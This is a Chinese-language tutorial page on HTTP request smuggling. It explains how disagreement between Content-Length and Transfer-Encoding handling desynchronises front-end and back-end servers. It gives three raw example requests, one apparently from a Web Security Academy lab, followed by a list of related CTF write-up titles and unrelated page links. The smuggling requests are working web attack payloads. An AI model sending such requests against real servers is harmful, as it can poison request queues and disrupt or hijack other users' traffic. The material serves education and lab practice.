http走私攻击
http走私攻击
前端服务器和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致漏洞。 因为当服务器同时在处理Content-Length和Transfer-Encoding,Content-Length是无效的,当服务器一多,有些服务器认为Content-Length的长度有效,有些以Transfer-Encoding有效,就很产生偏差,一般来说当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。
方式一:
GET / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 4
111112
此时前端看到的长度为6,那么POST请求没问题,但后端看到是长度为4,那么还有两个12留下来在缓冲区中作为下一个请求的一部分,此时一个正常用户来请求,那么就会变成
12GET / HTTP/1.1
Host: example.com
Content-Length: 6
发生错误无法正常访问
方式二:
GET / HTTP/1.1
Host: example.com
Content-Length:6
Transfer_Encoding:chunked //需要用0独占一行表示结束并在0后空两行表示数据包结束,否则还是waiting状态。
0
G
下面用户拼接,因为此时表面上是空白的,但是却是由换行符回车键的及\r\n,这也是为什么content-length为6:
GPOST / HTTP/1.1
发生错误
方式三:transfer-encoding与content-length一起。
POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
此时前端处理transfer-encoding,后端处理content-Length,导致GPOST / HTTP/1.1
留在缓冲区中。
参考链接:https://paper.seebug.org/1048/
http走私攻击的更多相关文章
- 这可能是最详细的解析HTTP走私攻击的文章
前言 HTTP Desync Attacks也就是HTTP走私攻击,是我见到的比较有趣的一种攻击方式,这里来对这种漏洞进行介绍. TL;DR HTTP走私攻击利用了HTTP协议本身的问题:HTTP中存 ...
- 分析HTTP请求以降低HTTP走私攻击HTTP数据接收不同步攻击的风险
写在前面的话 HTTP/1.1自1991年至2014年,已经走过了一段很长的发展历程: HTTP/0.9– 1991 HTTP/1.0– 1996 HTTP/1.1 RFC 2068– 1997 RF ...
- [RoarCTF 2019]Easy Calc-协议层攻击之HTTP请求走私
0X01:什么是HTTP请求走私 HTTP请求走私属于协议层攻击,是服务器漏洞的一种. HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术.使攻击者可以绕过安全控制, ...
- HTTP Request Smuggling 请求走私
参考文章 浅析HTTP走私攻击 SeeBug-协议层的攻击--HTTP请求走私 HTTP 走私漏洞分析 简单介绍 攻击者通过构造特殊结构的请求,干扰网站服务器对请求的处理,从而实现攻击目标 前提知识 ...
- 通过一道CTF学习HTTP协议请求走私
HTTP请求走私 HTTP请求走私 HTTP请求走私是针对于服务端处理一个或者多个接收http请求序列的方式,进行绕过安全机制,实施未授权访问一种攻击手段,获取敏感信息,并直接危害其他用户. 请求走私 ...
- 协议层安全相关《http请求走私与CTF利用》
0x00 前言 最近刷题的时候多次遇到HTTP请求走私相关的题目,但之前都没怎么接触到相关的知识点,只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx< ...
- [RoarCTF]Easy Calc
目录 [RoarCTF]Easy Calc 知识点 1.http走私绕过WAF 2.php字符串解析特性绕过WAF 3.绕过过滤写shell [RoarCTF]Easy Calc 题目复现链接:htt ...
- BUUCTF | [RoarCTF 2019]Easy Calc
看一下页面源码,发现了提示: calc.php?num=encodeURIComponent($("#content").val()) $("#content" ...
- CISCN love_math和roarctf的easy_clac学习分析
Love_math 题目源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show ...
随机推荐
- YouCompleteMe unavailable: requires Vim compiled with Python 2.x support
问题:YouCompleteMe unavailable: requires Vim compiled with Python 2.x support 解决:重新编译,加入--enable-pytho ...
- gorm demo
package main import ( "fmt" "github.com/jinzhu/gorm" _ "github.com/jinzhu/g ...
- python列表元素的基本操作
1.列表元素的增加 python提供三种方法增加元素,append,extend,insert. 区别:例 list3=[1,10,100,1000,10000] A. list3.append ...
- JavaScript作用域与对象
1 - 作用域 1.1 作用域概述 通常来说,一段程序代码中所用到的名字并不总是有效和可用的,而限定这个名字的可用性的代码范围就是这个名字的作用域.作用域的使用提高了程序逻辑的局部性,增强了程序的可靠 ...
- WPF管理系统开发框架搭建指南,2020从入门到放弃
WPF技术是一个很不错的技术,但一直没有上手过正式的项目,趁在做这个医疗项目时,遂搭建一个WPF开发框架,目的是为了统一WPF开发并提高开发效率:我对WPF技术算是零基础,现学现卖,用这些不成体系的文 ...
- Linux安装Rabbitmq3.8.5
安装环境: 操作系统为:centOS-7 erlang版本为22.3,软件包:otp_src_22.3.tar.gz rabbitMQ版本为3.8.5,软件包:rabbitmq-server-gene ...
- Android开发之数组类的面试题目,android工程师java程序员必备
1,定义一个长度为5的数组 int [] arr=new int[5]; 2,写出静态初始化一个数组的方法 int [] arr={1,2,3,4}; 3,写出可变参数的使用规则 1,只能做为方 ...
- gson 处理null
1.定义null处理类 class StringConverter : JsonSerializer<String?>, JsonDeserializer<String?> { ...
- Dungeon Master(三维bfs)
You are trapped in a 3D dungeon and need to find the quickest way out! The dungeon is composed of un ...
- Mybatis联合查询(一)
Mybatis的简单联合查询操作: 实体类: Employee: package com.test.mybatis; public class Employee { private Integer i ...